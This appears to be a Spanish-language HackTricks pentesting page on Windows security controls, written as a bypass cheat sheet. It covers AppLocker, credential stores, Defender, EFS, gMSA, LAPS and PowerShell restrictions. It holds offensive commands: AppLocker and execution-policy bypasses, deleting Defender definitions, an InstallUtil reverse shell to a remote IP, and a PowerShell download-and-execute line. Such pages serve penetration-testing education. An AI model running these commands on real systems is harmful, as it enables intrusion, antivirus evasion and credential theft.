20 KiB
Controles de seguridad de Windows
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas de la comunidad más avanzadas del mundo.
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Política de AppLocker
Una lista blanca de aplicaciones es una lista de aplicaciones o ejecutables de software aprobados que se permiten estar presentes y ejecutarse en un sistema. El objetivo es proteger el entorno de malware dañino y software no aprobado que no se alinea con las necesidades comerciales específicas de una organización.
AppLocker es la solución de lista blanca de aplicaciones de Microsoft y da a los administradores del sistema control sobre qué aplicaciones y archivos pueden ejecutar los usuarios. Proporciona control granular sobre ejecutables, scripts, archivos de instalación de Windows, DLL, aplicaciones empaquetadas e instaladores de aplicaciones empaquetadas.
Es común que las organizaciones bloqueen cmd.exe y PowerShell.exe y el acceso de escritura a ciertos directorios, pero todo esto puede ser evadido.
Verificación
Verifica qué archivos/extensiones están en la lista negra/lista blanca:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
Las reglas de AppLocker aplicadas a un host también se pueden leer desde el registro local en HKLM\Software\Policies\Microsoft\Windows\SrpV2
.
Bypass
- Carpetas escribibles útiles para eludir la política de AppLocker: Si AppLocker permite ejecutar cualquier cosa dentro de
C:\Windows\System32
oC:\Windows
, hay carpetas escribibles que se pueden usar para eludir esto.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- Los binarios comúnmente confiables de "LOLBAS" también pueden ser útiles para evadir AppLocker.
- Las reglas mal escritas también pueden ser evadidas
- Por ejemplo,
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
, puedes crear una carpeta llamadaallowed
en cualquier lugar y será permitida. - Las organizaciones a menudo se centran en bloquear el ejecutable
%System32%\WindowsPowerShell\v1.0\powershell.exe
, pero se olvidan de las otras ubicaciones de ejecutables de PowerShell como%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
oPowerShell_ISE.exe
.
- Por ejemplo,
- La aplicación de DLLs muy raramente habilitada debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas necesarias para asegurarse de que nada se rompa. Por lo tanto, el uso de DLLs como puertas traseras ayudará a evadir AppLocker.
- Puedes usar ReflectivePick o SharpPick para ejecutar código de Powershell en cualquier proceso y evadir AppLocker. Para obtener más información, consulta: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Almacenamiento de credenciales
Security Accounts Manager (SAM)
Las credenciales locales están presentes en este archivo, las contraseñas están cifradas.
Autoridad de seguridad local (LSA) - LSASS
Las credenciales (cifradas) se guardan en la memoria de este subsistema por razones de inicio de sesión único.
LSA administra la política de seguridad local (política de contraseñas, permisos de usuarios...), autenticación, tokens de acceso...
LSA será el que verifique las credenciales proporcionadas dentro del archivo SAM (para un inicio de sesión local) y hable con el controlador de dominio para autenticar a un usuario de dominio.
Las credenciales se guardan dentro del proceso LSASS: tickets Kerberos, hashes NT y LM, contraseñas fácilmente descifrables.
Secretos de LSA
LSA podría guardar en disco algunas credenciales:
- Contraseña de la cuenta de equipo del Active Directory (controlador de dominio inaccesible).
- Contraseñas de las cuentas de los servicios de Windows
- Contraseñas para tareas programadas
- Más (contraseña de aplicaciones de IIS...)
NTDS.dit
Es la base de datos del Active Directory. Solo está presente en los controladores de dominio.
Defender
Microsoft Defender **** es un antivirus que está disponible en Windows 10 y Windows 11, y en versiones de Windows Server. Bloquea herramientas comunes de pentesting como WinPEAS
. Sin embargo, hay formas de evadir estas protecciones.
Comprobar
Para comprobar el estado de Defender puedes ejecutar el cmdlet de PS Get-MpComputerStatus
(comprueba el valor de RealTimeProtectionEnabled
para saber si está activo):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
Para enumerarlo también podrías ejecutar:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
EFS (Sistema de archivos cifrado)
EFS funciona cifrando un archivo con una clave simétrica a granel, también conocida como la Clave de Cifrado de Archivo o FEK. La FEK se cifra con una clave pública que está asociada con el usuario que cifró el archivo, y esta FEK cifrada se almacena en el flujo de datos alternativo $EFS del archivo cifrado. Para descifrar el archivo, el controlador de componente EFS utiliza la clave privada que coincide con el certificado digital EFS (utilizado para cifrar el archivo) para descifrar la clave simétrica que se almacena en el flujo $EFS. Desde aquí.
Ejemplos de archivos que se descifran sin que el usuario lo solicite:
- Los archivos y carpetas se descifran antes de copiarse en un volumen formateado con otro sistema de archivos, como FAT32.
- Los archivos cifrados se copian a través de la red utilizando el protocolo SMB/CIFS, los archivos se descifran antes de ser enviados por la red.
Los archivos cifrados utilizando este método pueden ser accedidos de manera transparente por el usuario propietario (quien los ha cifrado), por lo que si puedes convertirte en ese usuario, puedes descifrar los archivos (cambiar la contraseña del usuario e iniciar sesión como él no funcionará).
Ver información de EFS
Verifique si un usuario ha utilizado este servicio verificando si existe esta ruta: C:\users\<username>\appdata\roaming\Microsoft\Protect
Ver quién tiene acceso al archivo usando cipher /c <file>
También puede usar cipher /e
y cipher /d
dentro de una carpeta para cifrar y descifrar todos los archivos.
Descifrando archivos EFS
Siendo el sistema de autoridad
Este método requiere que el usuario víctima esté ejecutando un proceso dentro del host. Si ese es el caso, usando una sesión de meterpreter
, puedes suplantar el token del proceso del usuario (impersonate_token
de incognito
). O simplemente puedes migrar
al proceso del usuario.
Conociendo la contraseña del usuario
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
Cuentas de servicio administradas por grupos (gMSA)
En la mayoría de las infraestructuras, las cuentas de servicio son cuentas de usuario típicas con la opción "La contraseña nunca caduca". Mantener estas cuentas podría ser un verdadero desastre y es por eso que Microsoft introdujo las Cuentas de Servicio Administradas:
- No más gestión de contraseñas. Utiliza una contraseña compleja, aleatoria y de 240 caracteres que cambia automáticamente cuando alcanza la fecha de caducidad de la contraseña del dominio o del equipo.
- Utiliza el Servicio de Distribución de Claves (KDC) de Microsoft para crear y administrar las contraseñas para la gMSA.
- No se puede bloquear ni utilizar para iniciar sesión interactivo.
- Admite compartir en varios hosts.
- Se puede utilizar para ejecutar tareas programadas (las cuentas de servicio administradas no admiten la ejecución de tareas programadas).
- Gestión simplificada de SPN: el sistema cambiará automáticamente el valor de SPN si los detalles de sAMaccount del equipo cambian o si cambia la propiedad del nombre DNS.
Las cuentas gMSA tienen sus contraseñas almacenadas en una propiedad LDAP llamada msDS-ManagedPassword, que se restablece automáticamente por los DC cada 30 días, son recuperables por los administradores autorizados y por los servidores en los que están instalados. msDS-ManagedPassword es un bloque de datos cifrados llamado MSDS-MANAGEDPASSWORD_BLOB y solo se puede recuperar cuando la conexión está asegurada, LDAPS o cuando el tipo de autenticación es "Sellado y seguro", por ejemplo.
Por lo tanto, si se utiliza gMSA, averigüe si tiene privilegios especiales y también verifique si tiene permisos para leer la contraseña de los servicios.
Puede leer esta contraseña con GMSAPasswordReader:
/GMSAPasswordReader --AccountName jkohler
Además, revisa esta página web sobre cómo realizar un ataque de relé NTLM para leer la contraseña de gMSA.
LAPS
****Local Administrator Password Solution (LAPS) te permite administrar la contraseña del administrador local (que es aleatoria, única y cambiada regularmente) en computadoras unidas al dominio. Estas contraseñas se almacenan centralmente en Active Directory y se restringen a usuarios autorizados mediante ACL. Si se te otorgan suficientes permisos, podrías ser capaz de leer las contraseñas de los administradores locales.
{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}
Modo de lenguaje restringido de PS
El ****Modo de lenguaje restringido de PowerShell bloquea muchas de las características necesarias para usar PowerShell de manera efectiva, como bloquear objetos COM, permitir solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell y más.
Comprobar
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
Bypass
#Easy bypass
Powershell -version 2
En la versión actual de Windows, el Bypass no funcionará, pero se puede utilizar PSByPassCLM.
Para compilarlo, es posible que necesite agregar una referencia -> Examinar -> Examinar -> agregar C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
y cambiar el proyecto a .Net4.5.
Bypass directo:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Shell inversa:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
Puedes usar ReflectivePick o SharpPick para ejecutar código Powershell en cualquier proceso y evitar el modo restringido. Para obtener más información, consulta: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Política de ejecución de PS
Por defecto, está establecida en restringida. Las principales formas de evitar esta política son:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Interfaz de proveedor de soporte de seguridad (SSPI)
Es la API que se puede utilizar para autenticar usuarios.
El SSPI se encargará de encontrar el protocolo adecuado para dos máquinas que desean comunicarse. El método preferido para esto es Kerberos. Luego, el SSPI negociará qué protocolo de autenticación se utilizará, estos protocolos de autenticación se llaman proveedores de soporte de seguridad (SSP), se encuentran dentro de cada máquina con Windows en forma de una DLL y ambas máquinas deben admitir lo mismo para poder comunicarse.
Principales SSP
- Kerberos: el preferido
- %windir%\Windows\System32\kerberos.dll
- NTLMv1 y NTLMv2: por razones de compatibilidad
- %windir%\Windows\System32\msv1_0.dll
- Digest: servidores web y LDAP, contraseña en forma de hash MD5
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSL y TLS
- %windir%\Windows\System32\Schannel.dll
- Negotiate: se utiliza para negociar el protocolo a utilizar (Kerberos o NTLM, siendo Kerberos el predeterminado)
- %windir%\Windows\System32\lsasrv.dll
La negociación podría ofrecer varios métodos o solo uno.
UAC - Control de cuentas de usuario
Control de cuentas de usuario (UAC) es una función que permite una solicitud de consentimiento para actividades elevadas.
{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}
Utilice Trickest para crear y automatizar flujos de trabajo con las herramientas de la comunidad más avanzadas del mundo.
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabaja en una empresa de ciberseguridad? ¿Quiere ver su empresa anunciada en HackTricks? ¿O quiere tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulte los PLANES DE SUSCRIPCIÓN!
- Descubra The PEASS Family, nuestra colección exclusiva de NFT
- Obtenga el swag oficial de PEASS y HackTricks
- Únase al 💬 grupo de Discord o al grupo de telegram o sígame en Twitter 🐦@carlospolopm.
- Comparta sus trucos de hacking enviando PR al repositorio hacktricks y al repositorio hacktricks-cloud.